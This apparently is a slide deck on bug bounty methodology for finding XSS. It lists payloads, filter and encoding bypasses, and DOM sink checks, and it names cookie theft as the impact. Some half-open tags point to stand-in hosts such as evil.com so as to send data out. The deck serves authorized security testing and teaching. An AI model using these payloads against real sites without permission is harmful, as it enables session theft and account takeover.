



# XSS Bug Hunting Methodology

Become a Successful  
Bug Bounty Hunter



## XSS - Types

- Reflective XSS: Needs user interaction
- Stored XSS: Stores payload in DB
- DOM XSS: Takes place client side
- Self-XSS: Affects only you
- Blind XSS: Fires for someone else



## XSS - Approach

- Test every parameter / header
- Blind XSS (fires for someone else)
- Discover hidden parameters
- Test Referrers / User Agents etc.
- Test payload: `test\><`'"`



## XSS - Approach

- Sample : `<svg onload=alert(1)>`
- Sample : `<img src=x onerror=alert(0)>`
- XSS payload as name (files, user, etc.)
- Inject in parameter names and values
- Look for filters. Filters = bypass!



## XSS - Approach

- Payload All The Things (GitHub)
- Test with harmless payloads
- i.e. `<h2>` `<img>` `<table>` etc.
- If `<` `>` reflected as `&lt;` or `%3C` then try
- double encoding `<` `>` `%253C` and `%26lt;`



## XSS - Approach

- If you always see:
- `<script>` or `%3Cscript%3E`
- Then likely NOT VULNERABLE
- Reverse engineer developer thoughts
- Why they created a filter?



## XSS - Approach

- They might be filtering:
- i.e `<script>`, `<iframe>` and “onerror=”
- Things to try:
- Half-Open script tags like
- `<script src=//mysite.com?c=`



## XSS - Tests

- Things to test
- Example: `<h2>` vs `<script>`
- Example: `<script src=//evil/?c=`
- Example: `</script/x>`
- Example: `<<h2>>`



## XSS - Tests

- Things to test
- Enter payload in email on signup:
- Example: `test+<h2>@test.com`
- Example Uppercase: `<IFRAME>`
- Example non standard event handler  
`"onxss=`



## XSS - Tests

- Is `<svg>` blacklisted?
- How do they handle encodings?
- Like: `<%00iframe, on%0derror`
- Just blacklisting hardcoded strings?
- Does `</script/x>` work? `<ScRipt>` etc.



## XSS - Tests

- XSS Test Flow:
- Handling of tags like `<h2>` ?
- Handling of incomplete tags?
- Like: `<iframe src=//evil.com/c=`
- Does `</script/x>` work? `<ScRipt>` etc.



## XSS - Encodings

- How are encodings handled?
- Example: `<%00h2`
- Example: `<%0dh2`
- Example: `<%0ah2`
- Example: `<%09h2`



## XSS - Encodings

- Understand encodings:
- `<` is HTML encoded `&lt;`
- `>` is HTML encoded `&gt;`
- `<` is url encoded `%3c`
- `>` is url encoded `%3e`



## XSS - Encodings

- Understand encodings:
- `<` is double url encoded `%253C`
- `>` is double url encoded `%253E`
- `<` is `%26lt;`
- `>` is `%26gt;`



## XSS – DOM, Source, JS

- Inspect source code - view page source
- Inspect DOM – inspect element
- Analyze Java script files
- Always analyze all 3
- DOM has more info (i.e. AJAX calls)



## XSS - Tests

- Sign up with `<svg/onload=alert(0)>`
- DOM XSS is client side only
- No Server interaction with DOM XSS
- Sample DOM payload
- Example: ``#q=<svg/onload=alert(0)>`



## XSS – Java Script

- Search through JS Files for:
- Sinks `document.write()`, `innerHTML` etc.
- Look for JS redirection
- Example: `top.location.href=returnUrl`
- Try `javascript:alert(0)` payload



## XSS – Java Script

- Search through JS Files:
- look for `var =`
- Bruteforce with Burp Paraminer
- i.e `<input id='param1' name='param1'>`
- Look for returnUrl, goto, rUrl etc. in JS



## XSS (Problem 1)

You use the payload `<script>alert(0)</script>` and notice only `alert(0)` is reflected.

Try: `<script src=//`

Try: `<script`

Try: `<notreal>`

Try: `<1>`

Try: `<notreal onpointerrawupdate=alert`0`>`



## XSS (Problem 2A)

You use the payload `<script>alert(0)</script>` and notice `<script>alert(0)</script>` is reflected

Try URL encoding:

`%3Cscript%3Ealert(0)%3C%2Fscript%3E`

Try: Double URL encoding:

`%26lt%3Bscript%26gt%3Balert(0)%26lt%3B%2Fscript%26gt%3B`



## XSS (Problem 2B)

You use the payload `<script>alert(0)</script>` and notice `&lt;script&gt;alert(0)&lt;/script&gt;` is reflected

Try URL encoding:

`%3Cscript%3Ealert(0)%3C%2Fscript%3E`

Try: Double URL encoding:

`%26lt%3Bscript%26gt%3Balert(0)%26lt%3B%2Fscript%26gt%3B`



## XSS (Problem 3)

The response only contains part of the payload, for example `"><script>alert(0)</script>` only returns `"><script>`

Account One: `<script>/*`. This starts a script tag and multi-comments out everything below

Account Two: could be set to anything. `*/ alert(0) /*`

Account Three: `*/</script>`. This ends the multi comment tag and also the script tag.



## XSS (Problem 4)

The payload `"><script>alert(0)</script>` only returns `"scriptalert(0)/` and strips everything else. As long as it's reflected on a HTML tag (`<input value="ourinput">`) and you can control some characters such as `'` and `"`

Try:

```
"onfocus="alert(0)" k=""`
```

```
"onmouseover=alert(0)
```

```
"onmouseenter="alert(0)" k=""
```



## XSS - Impact

- IMPACT
- Stealing cookies if not HttpOnly (ATO)
- Use XSS to perform CSRF
- Leak sensitive information
- Weak CORS config in combo with XSS



Thank You!

Become a Successful  
Bug Bounty Hunter